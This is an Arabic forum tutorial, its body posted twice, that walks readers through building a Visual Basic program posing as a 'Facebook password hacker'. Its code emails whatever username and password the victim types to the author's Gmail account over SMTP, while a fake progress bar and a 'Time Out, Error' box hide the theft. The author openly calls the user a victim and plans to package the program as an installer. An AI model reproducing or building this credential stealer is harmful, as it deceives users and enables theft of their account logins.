tomjerry741
11-02-2012, 07:21 PM
بسم الله الرحمن الرحيم
اسمى احمد - اقوم بتدريس اللغة العربية
لى اهتمامات كثيرة بالانترنت
كنت الاحظ بصفة مستمرة البرامج الوهمية التى توهمك بسرقة الفيس بوك
ولكى تفهم مقصدى اكثر عليك بملاحظة الصورة التالية
http://www13.0zz0.com/2012/02/11/15/712798661.jpg
البرنامج كما ترونه يثير اعجاب المهتمين والمراهقين وذوى الفراغ والفضوليين
وكثيرا من نقع ضحايا لهذا النوع من الخدع
امضيت الكثير من الوقت لمعرفة كيف تمت صناعة مثل هذا البرنامج
حتى عرفت ان هناك " الفجيوال بايسك 2010" ومن هنا واتتنى رغبة بالغة فى تعلم تلك اللغة
الحقيقة ان اهتمامى لم يتعدى الدوت نت framework بعد ، ولكى اتعلم لغة السى والسى بلس او السى شارب
فلابد ان يكون لدى كثير صبر ---
منذ ايام مضت -بحمد الله - استطعت ان اتعلم فكرة البرنامج من خلال الصورة السابقة وقمت بصناعة مثل هذا البرنامج مع بعض التطوير
والان -- لاحظوا معى كيف امكننى صناعة مثل هذا -- والشرح بالصور والاكواد
1-
قم بتسطيب الفجيوال بايسك 2008/ او 2010 ايهما تحب ؟!!
2-
قم بفتح ايقونة البرنامج من سطح المكتب او من قائمة ستارت ، أيهما الاقرب؟!!
3-
اضغط على مشروع جديد
New project ... !! http://www13.0zz0.com/2012/02/11/16/880939196.jpg
4-
نحن الان فى شاشة الفورم الاساسية وتشمل الادوات والخصائض والواجهة التفاعلية للمستخدم
ولأضافة مميزات اكثر فى شكل الفورم ليصبح اكثر واقعية وجاذبية فلسوف نضع صورة خلفية واضحة
اضغط على الفورم واتجة الى لوحة الخصائص الموجود يسار الفورم
لاحظ كلمة "BackgroundImage" واختار منها براوزر يعنى تصفح
ثم اضغط على Imports يعنى استيراد --- وحدد مكان الصورة التى ترغب بأن تكون خلفية لبرنامجك
واليكم الشرح بالصورة والارقام " لاتكذب ولا تتجمل "
http://www13.0zz0.com/2012/02/11/16/803719201.jpg
بعد ان قمنا بادراج الصورة " اى صورة لديك "
نضع الان عدد 2 تكست بوكس text box
وعدد 2 ليبل lable
ونقوم بتغيير النص فى ليبل واحد الى username
وتغيير النص فى ليل اثنين الى password
وسوف نشرح السبب لاحقا
5-
http://www13.0zz0.com/2012/02/11/16/745458443.jpg
6-
والان نضيف عدد 2 زر ------ يعنى اتنين Button -
نضغط على بوتوم واحد ونغير التكست بتاعة الى hack password
نضغط على بوتوم اتنين ونغير اسمة الى stop hack
نضغط على تكست بوكس رقم اتنين يعنى التكست بوكس التانى ونتجة الى نافذة الخصائص
ونبحث عن كلمة passwordchar ونكتب فى الخانة الفارغة رمز النجمة كالاتى * فقط
والمعنى واضح : ان القيمة التى يتم كتابتها فى التكست بوكس ستكون عبارة عن نجوم كما تراها انت حين تضع الباسوورد بتاعتك فى اى موقع يطلب منك تسجيل دخول
والشرح بالصورة التالية
http://www13.0zz0.com/2012/02/11/16/170823824.jpg
7-
نضيف واحد ليبل ونغير اسمه الى-
write ID facebook for victim
- ونضيف عدد واحد زر Buttom ونغير اسمه الى how to Get ID faceBook !!
ولا تنسى حجم الخط بما يناسبك من الخاصية فونت فى صندوق الخصائص
http://www12.0zz0.com/2012/02/11/17/385244826.jpg
8-
نضيف واحد شريط تقدم progress bar
ونضيف واحد ليبل اعلى منه ونحذف منه النص ليصبح اسم الليبل فارغا كما سيلى وسنعرف السبب
ونضيف مؤقت timer1
وسنرى ان التايمر لن يكون ظاهرا فى الفورم
http://www12.0zz0.com/2012/02/11/17/139915543.jpg
------------------
لمتابعة بقية الدرس يتبع بالاسفل
:bosyht9::giljotiiniug3:
9-
والان تبدأ مرحلة برمجة الفورم بالاكواد
نضغط دبل كليك على الزر الاول والذى اصطلحنا على تسميتة بكلمة
(Hack facebook )
يعنى نضغط مرتين بالماوس على الزر وسنجد انفسنا فى نافذة الكود التى سوف نكتب فيها الاتى
بأعلى الفورم وفوق كلمة Public Class Form1
نكتب الثلاثة اسطر الاتية
Imports System.Web
Imports System.IO
Imports System.Net.Mail
كما فى الصورة التالية
http://www13.0zz0.com/2012/02/11/21/688665038.jpg
-
ثم فى مرحلة الكود البرمجى للزر الاول نفسه الذى نتعامل معه الان نكتب هذا الكود
Timer1.Start()
Dim mail As New MailMessage()
Dim smtpserver As New SmtpClient
smtpserver.Credentials = New Net.NetworkCredential("akhmedtaia***********", "xxxxxxxxxxx")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
smtpserver.EnableSsl = True
smtpserver.EnableSsl = True
mail.To.Add("akhmedtaia***********")
mail.From = New MailAddress("UserName***********")
mail.Subject = "PassWord "
mail.Body = TextBox1.Text & TextBox2.Text.ToString
smtpserver.Send(mail)
Label5.Text = ("Please Wait...")
ولا ننسى ان نغلق علامة التنصيص فى جملة
"please wait..."
http://www5.0zz0.com/2012/02/11/21/125899561.jpg
والان باختصار ممل سوف اشرح بعضا من معانى الكود واعذرونى لضيق الوقت
Imports System.Web
Imports System.IO
Imports System.Net.Mail
وهذه الخواص تعنى بربط الفورم بشبكة الانترنت حال الضغط على الفورم
Dim mail As New MailMessage()
Dim smtpserver As New SmtpClient
تعنى ارسال رسالة بريد الكترونى للبريد الذى سوف نكتبة ( وهو رقم ايميلك انت -- يعنى عنوان صانع هذا البرنامج)
smtpserver
الكود smtp له مفهوم كبير سوف احاول توضيحة بكلمات موجزة
البروتوكول SMTP و البروتوكول POP (البروتوكول هو : ميعار يعرف كيفية تفاهم الحواسيب مع بعضها البعض )
المعايير التي تؤلف البروتوكول كثيرة كـ(حجم الإطار و طول المعطيات و بتات الفحص و .... إلخ )
وبين هذه المعايير (في طبقة التطبيقات) توجد الأوامر والردود بين الحواسيب ، وهذا ما يهم المبرمجين .
إن الأوامر و الردود (التراسل) بين الأجهزة التي تعمل على أي بروتوكول لا بد و أن تكون معرّفة مسبقاً .
فعلى سبيل المثال ، لا يمكن أن تنشأ من عندك أمر جديد في احد الاجهزة و تتنتظر من الأخر أن يفهم رسالتك فضلاً عن أن يتفاعل معها !
ولهذا ،،،
نريد أن نسلط الضوء في هذا الدرس على الأوامر و الردود (المراسلات)التي تتم بين جهازي حاسب (سيرفر و عميل) عبر البروتوكول SMTP لارسال البريد الإلكتروني و البروتوكول POP لاستقبال البريد الإلكتروني .
** ملاحظة : نحن نتحدث في هذه المشاركة عن أوامر و ردود البروتوكول ، وهذا يعني أن الفائدة من هذا الدرس ليست محصورة على مبرمجي الـ VB فقط **
-----------------
smtpserver.Credentials = New Net.NetworkCredential("akhmedtaia***********", "ضع الباسوورد بتاعت الايميل بتاعك هنا بين علامتى التنصيص")
akhmedtaia***********
هو اسم ايميلى الذى سوف استقبل علية الرسائل
وبين علامتى التنصيص نكتب "الباسوورد"
وهى الباسوورد بتاعت ايميلك اللى على الجى ميل
---------
الكود التالى السابق بالاعلى
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
smtpserver.EnableSsl = True
smtpserver.EnableSsl = True
mail.To.Add("akhmedtaia***********")
رقم البورت الخاص بحساب الجى ميل وهو 587
واسم المضيف وهو فى اغلب الاحوال يكون
smtp+gmail+.com
or
smtp.yahoo.com
يمكنك فى البحث عبر الانترنت من الحصول على رقم البورت واسم المضيف بالمزيد من الاطلاع
--------------------------------
الكود التالى
mail.From = New MailAddress("UserName***********")
mail.Subject = "PassWord "
عبارة عن اسم المرسل وعنوان الرسالة التى من المفترض انها سوف تصل على حسابك فى الجى ميل
----------------------
الكود التالى
mail.Body = TextBox1.Text & TextBox2.Text
smtpserver.Send(mail)
فى هذا الكود الواضح يمكننا ان نستنتج الاتى
mailbody تعنى جسم الرسالة التى سوف تصلنى بعد ان يضغط المستخدم على الزر الاول
والميل بودى هنا عبارة عن
textbox1.text
textbox2.text
يعنى : ان ما يكتبة المستخدم فى التكست بوكس الاول والثانى هو مضمون الرسالة التى تصلنى على بريدى
اى : اسم الايميل بتاعة وكلمة السر
-----------------------------
Label4.Text = ("Please Wait...")
طب ما المقصود بالجملة السابقة
هل تتذكرون الليبل الفارغ الذى لم نتكلم عنة والموجود فى الصورة الخامسة والذى وضعناة اعلى شريط التقدم
اى : حين يضغط المستخدم على الزر الاول الذى نقوم ببرمجتة الان المفترض ان تحدث الكثير من العمليات التى لا ينتبة اليها احد
الميزة هنا انة سوف تظهر عبارة انتظر بمجرد الضغط على الزر الاول hack facebook
حتى يتوهم الضحية ان البرنامج يجلب الباسوورد
---------------------------------------------------------
Timer1.Start()
ProgressBar1.Value = +1
ProgressBar1.Increment(1)
Label4.Text = "Please wait...."
الكود السابق واضح تماما ولا يحتاج الى شرح
بمجرد الضغط على الزر الاول " هاك فيس بوك " المفترض ان يعمل التايمر
المفترض ان يبدأ شريط التقدم فى العمل
المفترض ان تكون زيادة قيمة تقدم الشريط عبارة عن واحد -- يعنى حركة واحدة كل نصف ثانية
بمقدار تزايدى حتى تصل الى الرقم 100
اعتقد اننى كررت السطر الاخير الخاص باليبل رقم اربعة -- هذا لا يهم
-------------------------------------------------
**************
نأتى الان لبرمجة زر اخر وليكن مثلا
شريط التقدم وهو البروجرس بار
نضغط علية مرتين -- نجد انفسنا داخل مرحلة الكود
نقوم بكتابة الامر الاتى
ProgressBar1.Increment(1)
ProgressBar1.Value = +1
http://www5.0zz0.com/2012/02/11/21/827744001.jpg
اذا اردت الاكتفاء بالسطر الثانى فقط
يمكنك حذف السطر الاول
الامر increment يعنى زيادة بمقدار درجة الى ما لا نهاية حسبما اعتقد
ان جانبى الصواب فمن نفسى والشيطان
واليكم الصورة الخاصة ببرمجة البروجرس بار
-----------------------------------------------------------
10-
نقوم بأضافة تايمر اخر ليصبح لدينا الان timer2
والان نقوم ببرمجة الزر رقم 2 والذى كتبنا عليه stop hack
نضغط نقرة مزدوجة علية
وفى نافذة الكود الخاص بة اسفل السطر الاتى
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
نكتب الاتى
ProgressBar1.Increment(-1)
Timer2.Start()
والمعنى انة فى حالة الضغط على الزر الثانى يتوقف شريط التقدم ويعود مرة اخرى الى الصفر
بمعدل تراجع قيمة واحدة
وفى هذة الحالة سوف نضطر الى اضافة تايمر رقم 2
timer2.start تلية قوسين مغلقين تعنى بمجرد الضغط على الزر الثانى
قم بتشغيل التايمر رقم 2 والذى من وظيفتةانه سوف يقوم بارجاع شريط التقدم الى حالة الصفر
http://www4.0zz0.com/2012/02/11/21/309783352.jpg
لا تنسى اضافة تايمر اخر داخل الفورم ليصبح لدينا عدد 2 تايمر بدلا من واحد
الاول مختص بتشغيل البروجرس بار الى الامام
والثانى خاص بارجاع البروجراس بار الى الخلف
-----------------------
11-
والان علينا برمجة التايمر الاول رقم واحد
نضغط مرتين على تايمر واحد وفى نافذة الكود الخاص به نكتب الاتى
ProgressBar1.Increment(1)
If ProgressBar1.Value = 100 Then
MsgBox("Time Out, Error occurred, Please Try Again")
End If
http://www5.0zz0.com/2012/02/11/21/125661906.jpg
لاحظ الصورة جيدا وافهم جيدا
فى احداث التايمر الاول نضيف هذا الكود مع استخدام قاعدة If قم Then بمعنى حين ينتهى شريط التقدم الى القيمة 100 تظهر رسالة خطأ تفيد ان البرنامج فشل فى جلب باسوورد الضحية لكى نوهم الضحية ان المشكلة فى سرعة الاتصال بالنت ولكن النتيجة ان بيناتة تم ارسالها الى ايميلك انت
**** اى انه فى حالة وصول مؤشر شريط التقدم الى الرقم 100 تظهر رسالة للمستخدم تفيد
("Time Out, Error occurred, Please Try Again")
يعنى حاول مرة اخرى
حتى ييأس من الماحولة ولكن لو كان مؤمنا لأقتنع بـــــــــ... ( انه لا ييئس من روح الله الا القوم الكافرون)
---------------------------------------
12-
انتهينا من الاساسيات واذا قمت بتنفيذ هذى الخطوات فقد نجح برنامج الاول
و..........يمكنك اختبارة بنجاح
اضغط على زر F5 او من شريط القوائم باعلى الفجيوال بايسك اضغط على
bullt
+
bullt soluation
ومن قائمة ملف اضغط على حفظ
save form1.vb
واذهب الى مكان حفظ مشروعك فى ملف المستندات
ثم
عليك بملاحظة مثل هذا المسار حتى تصل الى تطبيقك بنجاح
My Documents\Visual Studio 2010\Projects\facebook pass stealer\facebook pass stealer\bin\Debug
بالترتيب
مستندات + فجيوال بايسك 2010 ثم بروجكت+ ثم مجلد اسم المشوع الذى اخترتة لبرنامج وليكن فيس بوك باسوورد ستيلر ثم مجلد Bin+ ثم تدخل على مجلد debug لتجد برنامجك
والان مع تجربة سريعة للبرنامج
http://www11.0zz0.com/2012/02/11/21/778745146.jpg
والان انا مرهق ولدى المزيد لاضافتة فى الفورم
لو رأيت ردودا اعجبتنى منك فسوف اقوم باستكمال هذا الدرس وتحويل البرنامج فى خطوات سهلة الى ملف سيت اب تنفيذى يمكن تسطيبة على الجهاز لان البرنامج لا يعمل الا داخل جهاز علية نت فرام ويرك 4 الخاص بمن لدية فجيوال باسيك 2010 ولكن كيف يمكن ان تجعل برنامج يعمل على اى Cpu اخرى غير جهازك
والان ما رايكم لو ذهبنا الى حسابنا فى الجى ميل لنرى النتيجة
http://www4.0zz0.com/2012/02/11/21/342048070.jpg
هل انتهى برنامجنا الى هذا الحد فقط
؟؟!!!!!!!!
لا طبعا
هناك المزيد
ولكن حين يتم تثبيت الموضوع والا ...........
فيكفيكم ما قد عرفتموووووووووه ....
هذه قصة اخرى سوف استكملها معكم لاحقا
ويمكننا وقتها اضافة الكود البرمجى الخاص بالزر الثالث الخاص بشرح كيفية كتابة اى دى الضحية فى الفيس بوك وغيره من الامور الهامة لنجاح مشروعك
وكيف تضع له ايقونة
وكيف تتحكم فى متطلبات تشغيله فى اى جهاز غير جهازك
وكيف تقوم بعمل ملف سيت اب له ليتم تسطيبة مثل اى برنامج اخر لينزل فى مجلد البروجرام فايل
بالاضافة الى اختصارات سطح المكتب وفى قائمة البرامج بقائمة ستارت
تصبحون على خير الان
مع تحياتى
tomjerry741***********
مدرس بالاجر
:078111rg3::romarioxp6:
اسمى احمد - اقوم بتدريس اللغة العربية
لى اهتمامات كثيرة بالانترنت
كنت الاحظ بصفة مستمرة البرامج الوهمية التى توهمك بسرقة الفيس بوك
ولكى تفهم مقصدى اكثر عليك بملاحظة الصورة التالية
http://www13.0zz0.com/2012/02/11/15/712798661.jpg
البرنامج كما ترونه يثير اعجاب المهتمين والمراهقين وذوى الفراغ والفضوليين
وكثيرا من نقع ضحايا لهذا النوع من الخدع
امضيت الكثير من الوقت لمعرفة كيف تمت صناعة مثل هذا البرنامج
حتى عرفت ان هناك " الفجيوال بايسك 2010" ومن هنا واتتنى رغبة بالغة فى تعلم تلك اللغة
الحقيقة ان اهتمامى لم يتعدى الدوت نت framework بعد ، ولكى اتعلم لغة السى والسى بلس او السى شارب
فلابد ان يكون لدى كثير صبر ---
منذ ايام مضت -بحمد الله - استطعت ان اتعلم فكرة البرنامج من خلال الصورة السابقة وقمت بصناعة مثل هذا البرنامج مع بعض التطوير
والان -- لاحظوا معى كيف امكننى صناعة مثل هذا -- والشرح بالصور والاكواد
1-
قم بتسطيب الفجيوال بايسك 2008/ او 2010 ايهما تحب ؟!!
2-
قم بفتح ايقونة البرنامج من سطح المكتب او من قائمة ستارت ، أيهما الاقرب؟!!
3-
اضغط على مشروع جديد
New project ... !! http://www13.0zz0.com/2012/02/11/16/880939196.jpg
4-
نحن الان فى شاشة الفورم الاساسية وتشمل الادوات والخصائض والواجهة التفاعلية للمستخدم
ولأضافة مميزات اكثر فى شكل الفورم ليصبح اكثر واقعية وجاذبية فلسوف نضع صورة خلفية واضحة
اضغط على الفورم واتجة الى لوحة الخصائص الموجود يسار الفورم
لاحظ كلمة "BackgroundImage" واختار منها براوزر يعنى تصفح
ثم اضغط على Imports يعنى استيراد --- وحدد مكان الصورة التى ترغب بأن تكون خلفية لبرنامجك
واليكم الشرح بالصورة والارقام " لاتكذب ولا تتجمل "
http://www13.0zz0.com/2012/02/11/16/803719201.jpg
بعد ان قمنا بادراج الصورة " اى صورة لديك "
نضع الان عدد 2 تكست بوكس text box
وعدد 2 ليبل lable
ونقوم بتغيير النص فى ليبل واحد الى username
وتغيير النص فى ليل اثنين الى password
وسوف نشرح السبب لاحقا
5-
http://www13.0zz0.com/2012/02/11/16/745458443.jpg
6-
والان نضيف عدد 2 زر ------ يعنى اتنين Button -
نضغط على بوتوم واحد ونغير التكست بتاعة الى hack password
نضغط على بوتوم اتنين ونغير اسمة الى stop hack
نضغط على تكست بوكس رقم اتنين يعنى التكست بوكس التانى ونتجة الى نافذة الخصائص
ونبحث عن كلمة passwordchar ونكتب فى الخانة الفارغة رمز النجمة كالاتى * فقط
والمعنى واضح : ان القيمة التى يتم كتابتها فى التكست بوكس ستكون عبارة عن نجوم كما تراها انت حين تضع الباسوورد بتاعتك فى اى موقع يطلب منك تسجيل دخول
والشرح بالصورة التالية
http://www13.0zz0.com/2012/02/11/16/170823824.jpg
7-
نضيف واحد ليبل ونغير اسمه الى-
write ID facebook for victim
- ونضيف عدد واحد زر Buttom ونغير اسمه الى how to Get ID faceBook !!
ولا تنسى حجم الخط بما يناسبك من الخاصية فونت فى صندوق الخصائص
http://www12.0zz0.com/2012/02/11/17/385244826.jpg
8-
نضيف واحد شريط تقدم progress bar
ونضيف واحد ليبل اعلى منه ونحذف منه النص ليصبح اسم الليبل فارغا كما سيلى وسنعرف السبب
ونضيف مؤقت timer1
وسنرى ان التايمر لن يكون ظاهرا فى الفورم
http://www12.0zz0.com/2012/02/11/17/139915543.jpg
------------------
لمتابعة بقية الدرس يتبع بالاسفل
:bosyht9::giljotiiniug3:
9-
والان تبدأ مرحلة برمجة الفورم بالاكواد
نضغط دبل كليك على الزر الاول والذى اصطلحنا على تسميتة بكلمة
(Hack facebook )
يعنى نضغط مرتين بالماوس على الزر وسنجد انفسنا فى نافذة الكود التى سوف نكتب فيها الاتى
بأعلى الفورم وفوق كلمة Public Class Form1
نكتب الثلاثة اسطر الاتية
Imports System.Web
Imports System.IO
Imports System.Net.Mail
كما فى الصورة التالية
http://www13.0zz0.com/2012/02/11/21/688665038.jpg
-
ثم فى مرحلة الكود البرمجى للزر الاول نفسه الذى نتعامل معه الان نكتب هذا الكود
Timer1.Start()
Dim mail As New MailMessage()
Dim smtpserver As New SmtpClient
smtpserver.Credentials = New Net.NetworkCredential("akhmedtaia***********", "xxxxxxxxxxx")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
smtpserver.EnableSsl = True
smtpserver.EnableSsl = True
mail.To.Add("akhmedtaia***********")
mail.From = New MailAddress("UserName***********")
mail.Subject = "PassWord "
mail.Body = TextBox1.Text & TextBox2.Text.ToString
smtpserver.Send(mail)
Label5.Text = ("Please Wait...")
ولا ننسى ان نغلق علامة التنصيص فى جملة
"please wait..."
http://www5.0zz0.com/2012/02/11/21/125899561.jpg
والان باختصار ممل سوف اشرح بعضا من معانى الكود واعذرونى لضيق الوقت
Imports System.Web
Imports System.IO
Imports System.Net.Mail
وهذه الخواص تعنى بربط الفورم بشبكة الانترنت حال الضغط على الفورم
Dim mail As New MailMessage()
Dim smtpserver As New SmtpClient
تعنى ارسال رسالة بريد الكترونى للبريد الذى سوف نكتبة ( وهو رقم ايميلك انت -- يعنى عنوان صانع هذا البرنامج)
smtpserver
الكود smtp له مفهوم كبير سوف احاول توضيحة بكلمات موجزة
البروتوكول SMTP و البروتوكول POP (البروتوكول هو : ميعار يعرف كيفية تفاهم الحواسيب مع بعضها البعض )
المعايير التي تؤلف البروتوكول كثيرة كـ(حجم الإطار و طول المعطيات و بتات الفحص و .... إلخ )
وبين هذه المعايير (في طبقة التطبيقات) توجد الأوامر والردود بين الحواسيب ، وهذا ما يهم المبرمجين .
إن الأوامر و الردود (التراسل) بين الأجهزة التي تعمل على أي بروتوكول لا بد و أن تكون معرّفة مسبقاً .
فعلى سبيل المثال ، لا يمكن أن تنشأ من عندك أمر جديد في احد الاجهزة و تتنتظر من الأخر أن يفهم رسالتك فضلاً عن أن يتفاعل معها !
ولهذا ،،،
نريد أن نسلط الضوء في هذا الدرس على الأوامر و الردود (المراسلات)التي تتم بين جهازي حاسب (سيرفر و عميل) عبر البروتوكول SMTP لارسال البريد الإلكتروني و البروتوكول POP لاستقبال البريد الإلكتروني .
** ملاحظة : نحن نتحدث في هذه المشاركة عن أوامر و ردود البروتوكول ، وهذا يعني أن الفائدة من هذا الدرس ليست محصورة على مبرمجي الـ VB فقط **
-----------------
smtpserver.Credentials = New Net.NetworkCredential("akhmedtaia***********", "ضع الباسوورد بتاعت الايميل بتاعك هنا بين علامتى التنصيص")
akhmedtaia***********
هو اسم ايميلى الذى سوف استقبل علية الرسائل
وبين علامتى التنصيص نكتب "الباسوورد"
وهى الباسوورد بتاعت ايميلك اللى على الجى ميل
---------
الكود التالى السابق بالاعلى
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
smtpserver.EnableSsl = True
smtpserver.EnableSsl = True
mail.To.Add("akhmedtaia***********")
رقم البورت الخاص بحساب الجى ميل وهو 587
واسم المضيف وهو فى اغلب الاحوال يكون
smtp+gmail+.com
or
smtp.yahoo.com
يمكنك فى البحث عبر الانترنت من الحصول على رقم البورت واسم المضيف بالمزيد من الاطلاع
--------------------------------
الكود التالى
mail.From = New MailAddress("UserName***********")
mail.Subject = "PassWord "
عبارة عن اسم المرسل وعنوان الرسالة التى من المفترض انها سوف تصل على حسابك فى الجى ميل
----------------------
الكود التالى
mail.Body = TextBox1.Text & TextBox2.Text
smtpserver.Send(mail)
فى هذا الكود الواضح يمكننا ان نستنتج الاتى
mailbody تعنى جسم الرسالة التى سوف تصلنى بعد ان يضغط المستخدم على الزر الاول
والميل بودى هنا عبارة عن
textbox1.text
textbox2.text
يعنى : ان ما يكتبة المستخدم فى التكست بوكس الاول والثانى هو مضمون الرسالة التى تصلنى على بريدى
اى : اسم الايميل بتاعة وكلمة السر
-----------------------------
Label4.Text = ("Please Wait...")
طب ما المقصود بالجملة السابقة
هل تتذكرون الليبل الفارغ الذى لم نتكلم عنة والموجود فى الصورة الخامسة والذى وضعناة اعلى شريط التقدم
اى : حين يضغط المستخدم على الزر الاول الذى نقوم ببرمجتة الان المفترض ان تحدث الكثير من العمليات التى لا ينتبة اليها احد
الميزة هنا انة سوف تظهر عبارة انتظر بمجرد الضغط على الزر الاول hack facebook
حتى يتوهم الضحية ان البرنامج يجلب الباسوورد
---------------------------------------------------------
Timer1.Start()
ProgressBar1.Value = +1
ProgressBar1.Increment(1)
Label4.Text = "Please wait...."
الكود السابق واضح تماما ولا يحتاج الى شرح
بمجرد الضغط على الزر الاول " هاك فيس بوك " المفترض ان يعمل التايمر
المفترض ان يبدأ شريط التقدم فى العمل
المفترض ان تكون زيادة قيمة تقدم الشريط عبارة عن واحد -- يعنى حركة واحدة كل نصف ثانية
بمقدار تزايدى حتى تصل الى الرقم 100
اعتقد اننى كررت السطر الاخير الخاص باليبل رقم اربعة -- هذا لا يهم
-------------------------------------------------
**************
نأتى الان لبرمجة زر اخر وليكن مثلا
شريط التقدم وهو البروجرس بار
نضغط علية مرتين -- نجد انفسنا داخل مرحلة الكود
نقوم بكتابة الامر الاتى
ProgressBar1.Increment(1)
ProgressBar1.Value = +1
http://www5.0zz0.com/2012/02/11/21/827744001.jpg
اذا اردت الاكتفاء بالسطر الثانى فقط
يمكنك حذف السطر الاول
الامر increment يعنى زيادة بمقدار درجة الى ما لا نهاية حسبما اعتقد
ان جانبى الصواب فمن نفسى والشيطان
واليكم الصورة الخاصة ببرمجة البروجرس بار
-----------------------------------------------------------
10-
نقوم بأضافة تايمر اخر ليصبح لدينا الان timer2
والان نقوم ببرمجة الزر رقم 2 والذى كتبنا عليه stop hack
نضغط نقرة مزدوجة علية
وفى نافذة الكود الخاص بة اسفل السطر الاتى
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
نكتب الاتى
ProgressBar1.Increment(-1)
Timer2.Start()
والمعنى انة فى حالة الضغط على الزر الثانى يتوقف شريط التقدم ويعود مرة اخرى الى الصفر
بمعدل تراجع قيمة واحدة
وفى هذة الحالة سوف نضطر الى اضافة تايمر رقم 2
timer2.start تلية قوسين مغلقين تعنى بمجرد الضغط على الزر الثانى
قم بتشغيل التايمر رقم 2 والذى من وظيفتةانه سوف يقوم بارجاع شريط التقدم الى حالة الصفر
http://www4.0zz0.com/2012/02/11/21/309783352.jpg
لا تنسى اضافة تايمر اخر داخل الفورم ليصبح لدينا عدد 2 تايمر بدلا من واحد
الاول مختص بتشغيل البروجرس بار الى الامام
والثانى خاص بارجاع البروجراس بار الى الخلف
-----------------------
11-
والان علينا برمجة التايمر الاول رقم واحد
نضغط مرتين على تايمر واحد وفى نافذة الكود الخاص به نكتب الاتى
ProgressBar1.Increment(1)
If ProgressBar1.Value = 100 Then
MsgBox("Time Out, Error occurred, Please Try Again")
End If
http://www5.0zz0.com/2012/02/11/21/125661906.jpg
لاحظ الصورة جيدا وافهم جيدا
فى احداث التايمر الاول نضيف هذا الكود مع استخدام قاعدة If قم Then بمعنى حين ينتهى شريط التقدم الى القيمة 100 تظهر رسالة خطأ تفيد ان البرنامج فشل فى جلب باسوورد الضحية لكى نوهم الضحية ان المشكلة فى سرعة الاتصال بالنت ولكن النتيجة ان بيناتة تم ارسالها الى ايميلك انت
**** اى انه فى حالة وصول مؤشر شريط التقدم الى الرقم 100 تظهر رسالة للمستخدم تفيد
("Time Out, Error occurred, Please Try Again")
يعنى حاول مرة اخرى
حتى ييأس من الماحولة ولكن لو كان مؤمنا لأقتنع بـــــــــ... ( انه لا ييئس من روح الله الا القوم الكافرون)
---------------------------------------
12-
انتهينا من الاساسيات واذا قمت بتنفيذ هذى الخطوات فقد نجح برنامج الاول
و..........يمكنك اختبارة بنجاح
اضغط على زر F5 او من شريط القوائم باعلى الفجيوال بايسك اضغط على
bullt
+
bullt soluation
ومن قائمة ملف اضغط على حفظ
save form1.vb
واذهب الى مكان حفظ مشروعك فى ملف المستندات
ثم
عليك بملاحظة مثل هذا المسار حتى تصل الى تطبيقك بنجاح
My Documents\Visual Studio 2010\Projects\facebook pass stealer\facebook pass stealer\bin\Debug
بالترتيب
مستندات + فجيوال بايسك 2010 ثم بروجكت+ ثم مجلد اسم المشوع الذى اخترتة لبرنامج وليكن فيس بوك باسوورد ستيلر ثم مجلد Bin+ ثم تدخل على مجلد debug لتجد برنامجك
والان مع تجربة سريعة للبرنامج
http://www11.0zz0.com/2012/02/11/21/778745146.jpg
والان انا مرهق ولدى المزيد لاضافتة فى الفورم
لو رأيت ردودا اعجبتنى منك فسوف اقوم باستكمال هذا الدرس وتحويل البرنامج فى خطوات سهلة الى ملف سيت اب تنفيذى يمكن تسطيبة على الجهاز لان البرنامج لا يعمل الا داخل جهاز علية نت فرام ويرك 4 الخاص بمن لدية فجيوال باسيك 2010 ولكن كيف يمكن ان تجعل برنامج يعمل على اى Cpu اخرى غير جهازك
والان ما رايكم لو ذهبنا الى حسابنا فى الجى ميل لنرى النتيجة
http://www4.0zz0.com/2012/02/11/21/342048070.jpg
هل انتهى برنامجنا الى هذا الحد فقط
؟؟!!!!!!!!
لا طبعا
هناك المزيد
ولكن حين يتم تثبيت الموضوع والا ...........
فيكفيكم ما قد عرفتموووووووووه ....
هذه قصة اخرى سوف استكملها معكم لاحقا
ويمكننا وقتها اضافة الكود البرمجى الخاص بالزر الثالث الخاص بشرح كيفية كتابة اى دى الضحية فى الفيس بوك وغيره من الامور الهامة لنجاح مشروعك
وكيف تضع له ايقونة
وكيف تتحكم فى متطلبات تشغيله فى اى جهاز غير جهازك
وكيف تقوم بعمل ملف سيت اب له ليتم تسطيبة مثل اى برنامج اخر لينزل فى مجلد البروجرام فايل
بالاضافة الى اختصارات سطح المكتب وفى قائمة البرامج بقائمة ستارت
تصبحون على خير الان
مع تحياتى
tomjerry741***********
مدرس بالاجر
:078111rg3::romarioxp6: